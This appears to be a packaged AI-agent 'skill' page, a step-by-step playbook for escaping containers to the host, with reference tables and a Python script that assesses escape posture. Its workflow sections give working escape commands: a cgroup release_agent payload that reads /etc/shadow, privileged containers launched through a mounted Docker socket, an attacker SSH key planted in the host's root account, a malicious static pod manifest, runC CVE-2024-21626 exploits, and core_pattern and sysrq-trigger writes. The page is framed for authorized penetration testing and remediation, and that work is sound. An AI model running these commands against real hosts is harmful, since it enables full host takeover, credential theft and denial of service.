container security

Escaping Containers to Host

Exploit privileged pods, host mounts, runC CVEs, and exposed Docker sockets to break out of a container and reach the underlying host during authorized container-security assessments.

breakoutcontainer-escapedocker-sockethost-mountkubernetesprivilege-escalationprivileged-containerrunc-cve
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Legal Notice: This skill is for authorized security testing and educational purposes only. Container breakout grants full host compromise. Only run these techniques against systems you own or have explicit written authorization to test. Unauthorized use is illegal and may violate computer fraud laws.

Overview

Container escape (MITRE ATT&CK T1611, Escape to Host) is the act of breaking the isolation boundary between a container and the host operating system, giving an attacker code execution in the host namespace — and, on Kubernetes, frequently a route to the entire node and then the cluster. Containers share the host kernel and rely on namespaces, cgroups, capabilities, seccomp, and LSMs (AppArmor/SELinux) for isolation. When any of these controls are weakened (a --privileged container, a mounted Docker socket, a hostPath mount of /, excess Linux capabilities such as CAP_SYS_ADMIN) or when a runtime contains a vulnerability, that boundary collapses.

This skill covers the four highest-impact, real-world escape primitives observed by Sysdig, Unit 42, and the runC maintainers:

  1. Misconfiguration escapes — privileged containers, CAP_SYS_ADMIN, host PID/IPC/Network namespaces, and hostPath mounts.
  2. Exposed Docker socket (/var/run/docker.sock) — mounting the daemon socket into a container hands an attacker root on the host via a new privileged container.
  3. The "Leaky Vessels" runC fd leak, CVE-2024-21626 — runC leaks an internal file descriptor (/proc/self/fd/7/8) referencing the host filesystem before pivot_root; setting the container working directory to that fd lands the process on the host. Patched in runC 1.1.12 (containerd 1.6.28/1.7.13, Docker 25.0.2).
  4. The November 2025 runC procfs write-redirect family — CVE-2025-31133, CVE-2025-52565, CVE-2025-52881 — race/symlink abuse of the /dev/null, /dev/console, and other bind mounts performed before runC applies maskedPaths/readonlyPaths, allowing read-write access to /proc entries (e.g. /proc/sysrq-trigger, core_pattern) and arbitrary write redirection. Patched in runC 1.2.8, 1.3.3, and 1.4.0-rc.3.

Sources: Palo Alto Networks "Leaky Vessels" advisory; Sysdig "New runc vulnerabilities allow container escape" (2025); opencontainers/runc security advisories GHSA-cgrx-mc8f-2prm and GHSA-9493-h29p-rfm2; Unit 42 container-escape research.

When to Use

  • During an authorized container or Kubernetes penetration test after obtaining initial code execution inside a container or pod
  • When validating that runtime defenses (Falco, seccomp, AppArmor) detect or block breakout attempts
  • When assessing the blast radius of a compromised microservice
  • When verifying patch levels of runC/containerd/Docker against the CVEs above

Prerequisites

  • Authorization (signed rules of engagement) covering host/node compromise
  • A foothold: a shell inside a target container
  • Reconnaissance utilities inside the container or staged in:
    # deepce - Docker enumeration and escape
    git clone https://github.com/stealthcopter/deepce.git
    # amicontained - container introspection (capabilities, seccomp, namespaces)
    curl -L https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64 -o amicontained
    chmod +x amicontained
    # CDK - zero-dependency K8s/container pentest toolkit
    curl -L https://github.com/cdk-team/CDK/releases/latest/download/cdk_linux_amd64 -o cdk
    chmod +x cdk
  • A lab cluster/host you are permitted to break out of (e.g., kind, minikube, or a dedicated VM)

Objectives

  • Enumerate the container's privilege posture (capabilities, namespaces, mounts, seccomp)
  • Identify which escape primitive is available
  • Execute a host breakout and prove host-level code execution
  • Capture evidence (host hostname, host /etc/shadow access, or a host file write)
  • Document the root-cause misconfiguration or vulnerable runtime version for remediation

MITRE ATT&CK Mapping

Technique ID Name Tactic
T1611 Escape to Host Privilege Escalation
T1610 Deploy Container Defense Evasion / Execution
T1613 Container and Resource Discovery Discovery
T1068 Exploitation for Privilege Escalation Privilege Escalation

Workflow

Step 1: Enumerate the Container Environment

Determine privilege level, capabilities, namespaces, and mounted host paths.

# Quick capability + namespace + seccomp introspection
./amicontained
 
# Are we privileged? CapEff ending in ...ffffffff is "all caps"
grep CapEff /proc/self/status
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')
 
# Host filesystem or docker socket mounted in?
mount | grep -E 'docker.sock|hostPath|/host'
ls -la /var/run/docker.sock 2>/dev/null
findmnt -o TARGET,SOURCE,FSTYPE,OPTIONS
 
# Sharing host namespaces? (host PID = can see host processes)
ps aux | head        # if you see systemd/host pids, hostPID:true
ls -la /proc/1/root  # if readable as host root, namespace is shared
 
# Automated enumeration
./deepce.sh
./cdk evaluate

Step 2: Escape via a Privileged Container (cgroup release_agent)

A --privileged container (or one with CAP_SYS_ADMIN) can mount a cgroup hierarchy and abuse the release_agent to run a command on the host when the last process in a cgroup exits.

# Confirm we can mount (CAP_SYS_ADMIN present)
# Create a cgroup mount and enable release_agent notification
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
  mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
 
# Find the container rootfs path on the host
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -1)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
 
# Payload that runs on the HOST
cat > /cmd <<'EOF'
#!/bin/sh
ps aux > /output
hostname >> /output
cat /etc/shadow >> /output
EOF
chmod +x /cmd
 
# Trigger: spawn and immediately exit a process in the cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output   # host process list / shadow proves escape

Step 3: Escape via a Mounted Docker Socket

If /var/run/docker.sock is bind-mounted into the container, you control the host Docker daemon and can launch a new container that mounts the host root.

# Confirm reachability
docker -H unix:///var/run/docker.sock version 2>/dev/null || \
  curl -s --unix-socket /var/run/docker.sock http://localhost/version
 
# Launch a privileged container mounting host / and chroot into it
docker -H unix:///var/run/docker.sock run -it --rm \
  --privileged --net=host --pid=host \
  -v /:/host alpine chroot /host sh
 
# Pure-curl variant (no docker CLI in container):
curl -s -XPOST --unix-socket /var/run/docker.sock \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/etc/shadow"],
       "Binds":["/:/host"],"Privileged":true}' \
  http://localhost/containers/create?name=esc
curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/esc/start

Step 4: Escape via a hostPath Mount (Kubernetes)

A pod with a hostPath volume of / (or a sensitive host dir) lets you read/write host files directly — e.g., drop a root SSH key or a privileged static pod manifest.

# If /host is the hostPath mount of node root:
ls /host
# Persist: add an attacker key for node root login
mkdir -p /host/root/.ssh
echo "ssh-ed25519 AAAA... attacker@kali" >> /host/root/.ssh/authorized_keys
 
# Or write a privileged static pod manifest that kubelet will auto-run as root
cat > /host/etc/kubernetes/manifests/pwn.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: pwn, namespace: kube-system}
spec:
  hostPID: true
  containers:
  - name: pwn
    image: alpine
    command: ["/bin/sh","-c","sleep 1d"]
    securityContext: {privileged: true}
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF

Step 5: Exploit runC CVE-2024-21626 (Leaky Vessels fd leak)

If the runtime is runC <= 1.1.11, the leaked host-cwd fd can be used. With docker build/docker run control, set the working directory to /proc/self/fd/<N> (commonly 7 or 8).

# Detect vulnerable runtime version (host or via runc binary in image)
runc --version          # vulnerable: 1.0.0-rc93 .. 1.1.11
docker info --format '{{.DefaultRuntime}}'
 
# Proof-of-concept via a malicious image WORKDIR (run-time variant)
cat > Dockerfile <<'EOF'
FROM alpine
# fd 7/8 leaked by runc references the HOST cwd before pivot_root
WORKDIR /proc/self/fd/8
RUN ["/bin/sh","-c","cd ../../../../ ; cat etc/shadow ; cat etc/hostname"]
EOF
docker build --no-cache -t leaky .
 
# Run-time variant: the container lands in a host directory
docker run --rm --workdir /proc/self/fd/8 alpine \
  sh -c 'cd ../../../.. && cat etc/shadow'
# Reference PoC: github.com/strikoder/cve-2024-21626-runc-1.1.11-escape

Step 6: Exploit the 2025 runC procfs Write-Redirect Family

For runC <= 1.2.7 / 1.3.2 / 1.4.0-rc.2, CVE-2025-31133/52565/52881 abuse a race between the /dev/null//dev/console bind mount and the application of maskedPaths, replacing the mount target with a symlink so a host /proc entry becomes writable. Writing core_pattern or /proc/sysrq-trigger yields host code execution.

# Confirm vulnerable runtime
runc --version   # vulnerable: <= 1.2.7, 1.3.2, 1.4.0-rc.2
 
# Conceptual exploitation flow (use maintainers' PoC in a lab):
#  1. Start a container that, during init, swaps the /dev/console (or a
#     custom device) bind-mount target for a symlink to /proc/sysrq-trigger.
#  2. Win the race so runc bind-mounts it read-write before maskedPaths apply.
#  3. Redirect a write to host procfs:
echo c > /proc/sysrq-trigger     # would crash host (DoS) - demonstrates RW
#  4. For code exec, redirect the write to /proc/sys/kernel/core_pattern:
echo '|/bin/sh -c "id>/host_pwn"' > /proc/sys/kernel/core_pattern
#     then trigger a core dump in any host-visible process.
# Advisories: GHSA-cgrx-mc8f-2prm, GHSA-9493-h29p-rfm2

Step 7: Validate the Patched State and Document Remediation

# Verify runtimes are patched
runc --version              # want >= 1.2.8 / 1.3.3 / 1.4.0-rc.3 (and != vuln 1.1.x)
docker version --format '{{.Server.Version}}'   # >= 25.0.2 for CVE-2024-21626
containerd --version        # >= 1.6.28 / 1.7.13
 
# Confirm hardening for misconfig escapes
docker inspect <ctr> --format '{{.HostConfig.Privileged}}'   # want false
kubectl get pod <pod> -o jsonpath='{.spec.containers[*].securityContext}'

Tools and Resources

Tool Purpose Source
amicontained Capability/namespace/seccomp introspection https://github.com/genuinetools/amicontained
deepce Docker enumeration & escape automation https://github.com/stealthcopter/deepce
CDK Container/K8s penetration toolkit https://github.com/cdk-team/CDK
runc PoC (CVE-2024-21626) Leaky Vessels reference exploit https://github.com/strikoder/cve-2024-21626-runc-1.1.11-escape
Sysdig runc 2025 advisory CVE-2025-31133/52565/52881 analysis https://www.sysdig.com/blog/runc-container-escape-vulnerabilities
Palo Alto Leaky Vessels CVE-2024-21626 deep dive https://www.paloaltonetworks.com/blog/cloud-security/leaky-vessels-vulnerabilities-container-escape/

Escape Primitive Reference

Primitive Root Cause Detection Signal
Privileged container --privileged / CAP_SYS_ADMIN mount of cgroup, write to release_agent
Docker socket mount /var/run/docker.sock bind-mounted Daemon API call from a container
hostPath / mount Pod mounts node root Write to /host/etc/kubernetes/manifests
CVE-2024-21626 runC fd leak before pivot_root WORKDIR/cwd =/proc/self/fd/N
CVE-2025-31133/52565/52881 procfs write redirect via mount race RW mount of /dev/console, write to /proc/sysrq-trigger

Validation Criteria

  • Container privilege posture enumerated (caps, namespaces, mounts, seccomp)
  • Available escape primitive correctly identified
  • Host-level code execution demonstrated (host hostname / /etc/shadow / host file write captured)
  • Root-cause misconfiguration or vulnerable runtime version recorded
  • runC/containerd/Docker versions checked against CVE patch baselines
  • Remediation guidance (drop privileges, remove socket mount, patch runtime) documented
  • All actions stayed within the authorized scope
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 2

api-reference.md2.5 KB

Container Escape — Command & API Reference

Enumeration Commands

Command Purpose
amicontained Print capabilities, namespaces, seccomp mode, AppArmor profile
grep CapEff /proc/self/status Read effective capability bitmask
capsh --decode=<hex> Decode capability bitmask to names
mount / findmnt List mounts; spot docker.sock, hostPath, /host
ls -la /var/run/docker.sock Detect mounted Docker socket
ls -la /proc/1/root Detect shared host PID namespace
./deepce.sh Automated Docker enumeration + escape checks
./cdk evaluate CDK automated container/K8s posture eval

Docker Daemon REST API (via /var/run/docker.sock)

Endpoint Method Purpose
/version GET Confirm daemon reachability/version
/containers/create?name=<n> POST Create container (set Binds, Privileged)
/containers/<id>/start POST Start the created container
/images/create?fromImage=alpine POST Pull a base image
/containers/<id>/logs?stdout=1 GET Read command output

Create-container JSON keys of interest: Image, Cmd, Binds (["/:/host"]), Privileged (true), HostConfig.PidMode (host), HostConfig.NetworkMode (host).

runC / Runtime Version Checks

Command Vulnerable Range Patched
runc --version 1.0.0-rc93 .. 1.1.11 (CVE-2024-21626) >= 1.1.12
runc --version <= 1.2.7 / 1.3.2 / 1.4.0-rc.2 (2025 CVEs) 1.2.8 / 1.3.3 / 1.4.0-rc.3
docker version --format '{{.Server.Version}}' < 25.0.2 >= 25.0.2
containerd --version < 1.6.28 / 1.7.13 >= 1.6.28 / 1.7.13

Key Privileged-Escape Primitives

File / Path Use
/sys/fs/cgroup/.../release_agent Host command execution on cgroup empty (needs CAP_SYS_ADMIN)
/proc/self/fd/7, /proc/self/fd/8 Leaked host-cwd fd for CVE-2024-21626
/proc/sys/kernel/core_pattern `
/proc/sysrq-trigger Host kernel actions (DoS proof for 2025 CVEs)
/etc/kubernetes/manifests/ Drop a static pod manifest kubelet auto-runs

External References

standards.md2.3 KB

Standards and References - Container Escape to Host

MITRE ATT&CK

Technique ID Name Tactic Rationale
T1611 Escape to Host Privilege Escalation The core technique: breaking container isolation to execute on the host kernel/namespace.
T1610 Deploy Container Defense Evasion / Execution Docker-socket escapes spawn a new privileged container mounting host root.
T1613 Container and Resource Discovery Discovery Enumerating caps, namespaces, mounts to find a viable escape path.
T1068 Exploitation for Privilege Escalation Privilege Escalation runC CVE exploitation (CVE-2024-21626, CVE-2025-31133/52565/52881).

NIST CSF 2.0

ID Name Rationale
PR.PS-01 Configuration management practices are established and applied Hardening container runtime/pod config (no --privileged, no socket mount, no hostPath /) and keeping runC patched is the primary control against breakout.

Real CVEs Covered

CVE Runtime Fixed In Note
CVE-2024-21626 runC <=1.1.11 runC 1.1.12, containerd 1.6.28/1.7.13, Docker 25.0.2 "Leaky Vessels" host-cwd fd leak
CVE-2025-31133 runC <=1.2.7/1.3.2/1.4.0-rc.2 runC 1.2.8/1.3.3/1.4.0-rc.3 /dev/null masked-path race
CVE-2025-52565 runC <=1.2.7/1.3.2/1.4.0-rc.2 runC 1.2.8/1.3.3/1.4.0-rc.3 /dev/console bind-mount race
CVE-2025-52881 runC <=1.2.7/1.3.2/1.4.0-rc.2 runC 1.2.8/1.3.3/1.4.0-rc.3 Arbitrary procfs write redirection

Official Resources

Scripts 1

agent.py6.7 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Container escape grants full host compromise. Run only against systems you
# own or are explicitly authorized in writing to test.
"""Container escape posture assessor.

Enumerates the privilege posture of the *current* container and flags which
real-world escape primitives are likely available (privileged/CAP_SYS_ADMIN,
mounted Docker socket, hostPath mount of host root, shared host namespaces) and
whether the installed runC/Docker runtime is vulnerable to the known container
escape CVEs (CVE-2024-21626 and the 2025 procfs write-redirect family).
"""

import argparse
import json
import os
import re
import shutil
import subprocess
import sys
from datetime import datetime, timezone


def _run(cmd):
    """Run a command, returning (rc, stdout, stderr) without raising."""
    try:
        p = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
        return p.returncode, p.stdout.strip(), p.stderr.strip()
    except FileNotFoundError:
        return 127, "", f"not found: {cmd[0]}"
    except subprocess.TimeoutExpired:
        return 124, "", "timeout"


def check_capabilities():
    """Decode the effective capability bitmask from /proc/self/status."""
    findings = {"cap_eff_hex": None, "all_caps": False, "cap_sys_admin": False}
    try:
        with open("/proc/self/status") as fh:
            for line in fh:
                if line.startswith("CapEff:"):
                    hexval = line.split()[1]
                    findings["cap_eff_hex"] = hexval
                    mask = int(hexval, 16)
                    # CAP_SYS_ADMIN is bit 21
                    findings["cap_sys_admin"] = bool(mask & (1 << 21))
                    # "all caps" full-width masks observed in privileged ctrs
                    findings["all_caps"] = hexval.lower().endswith("3fffffffff") or \
                        hexval.lower().endswith("ffffffffff")
    except OSError as exc:
        findings["error"] = str(exc)
    return findings


def check_docker_socket():
    """Detect a mounted (and reachable) Docker daemon socket."""
    sock = "/var/run/docker.sock"
    present = os.path.exists(sock)
    reachable = False
    if present:
        rc, out, _ = _run([
            "curl", "-s", "--max-time", "5", "--unix-socket", sock,
            "http://localhost/version",
        ])
        reachable = rc == 0 and "ApiVersion" in out
    return {"present": present, "reachable": reachable}


def check_host_mounts():
    """Look for hostPath / host-root style mounts in /proc/self/mountinfo."""
    suspects = []
    try:
        with open("/proc/self/mountinfo") as fh:
            for line in fh:
                parts = line.split()
                if len(parts) < 5:
                    continue
                src, dst = parts[3], parts[4]
                if src == "/" or "/var/run/docker.sock" in line or \
                        dst.startswith("/host"):
                    suspects.append({"source": src, "mountpoint": dst})
    except OSError as exc:
        return {"error": str(exc)}
    return {"host_mounts": suspects}


def check_namespaces():
    """Heuristically detect shared host PID namespace."""
    shared_pid = False
    try:
        # If we can read the host init's root and see many host pids, likely shared
        shared_pid = os.path.isdir("/proc/1/root/bin") and \
            len([p for p in os.listdir("/proc") if p.isdigit()]) > 50
    except OSError:
        pass
    return {"likely_host_pid_ns": shared_pid}


def _parse_semver(text):
    m = re.search(r"(\d+)\.(\d+)\.(\d+)", text)
    return tuple(int(x) for x in m.groups()) if m else None


def check_runtime_cves():
    """Check runc version against the known escape CVE patch baselines."""
    result = {"runc_version": None, "vulns": []}
    if not shutil.which("runc"):
        result["note"] = "runc not on PATH in this container; check on the host"
        return result
    _, out, _ = _run(["runc", "--version"])
    result["runc_raw"] = out
    ver = _parse_semver(out)
    result["runc_version"] = ".".join(map(str, ver)) if ver else None
    if not ver:
        return result
    # CVE-2024-21626: 1.0.0-rc93 .. 1.1.11  -> fixed 1.1.12
    if (1, 0, 0) <= ver <= (1, 1, 11):
        result["vulns"].append("CVE-2024-21626 (Leaky Vessels fd leak)")
    # 2025 family: <= 1.2.7, 1.3.2, 1.4.0-rc.2  -> fixed 1.2.8 / 1.3.3 / 1.4.0-rc.3
    if ver <= (1, 2, 7) or (1, 3, 0) <= ver <= (1, 3, 2):
        result["vulns"].append(
            "CVE-2025-31133/52565/52881 (procfs write-redirect family)")
    return result


def assess():
    report = {
        "generated_utc": datetime.now(timezone.utc).isoformat(),
        "capabilities": check_capabilities(),
        "docker_socket": check_docker_socket(),
        "mounts": check_host_mounts(),
        "namespaces": check_namespaces(),
        "runtime": check_runtime_cves(),
    }
    primitives = []
    if report["capabilities"].get("cap_sys_admin") or report["capabilities"].get("all_caps"):
        primitives.append("privileged/CAP_SYS_ADMIN -> cgroup release_agent escape")
    if report["docker_socket"].get("reachable"):
        primitives.append("docker.sock mounted -> spawn host-root container")
    if report["mounts"].get("host_mounts"):
        primitives.append("hostPath/host-root mount -> direct host file write")
    if report["namespaces"].get("likely_host_pid_ns"):
        primitives.append("shared host PID namespace -> host process access")
    for v in report["runtime"].get("vulns", []):
        primitives.append(f"vulnerable runtime -> {v}")
    report["available_escape_primitives"] = primitives or ["none obvious detected"]
    return report


def main():
    ap = argparse.ArgumentParser(
        description="Assess container escape posture (authorized testing only)")
    ap.add_argument("-o", "--output", help="write JSON report to file")
    ap.add_argument("--quiet", action="store_true", help="JSON only, no banner")
    args = ap.parse_args()

    report = assess()

    if not args.quiet:
        print("=" * 60)
        print("  CONTAINER ESCAPE POSTURE ASSESSMENT")
        print(f"  {report['generated_utc']}")
        print("=" * 60)
        print("\n[+] Available escape primitives:")
        for p in report["available_escape_primitives"]:
            print(f"    - {p}")
        rt = report["runtime"]
        if rt.get("vulns"):
            print(f"\n[!] Vulnerable runtime: {rt.get('runc_version')}")
            for v in rt["vulns"]:
                print(f"    - {v}")

    out = json.dumps(report, indent=2)
    if args.output:
        with open(args.output, "w") as fh:
            fh.write(out)
        print(f"\n[+] Report written to {args.output}")
    elif args.quiet:
        print(out)
    return 0


if __name__ == "__main__":
    sys.exit(main())
Keep exploring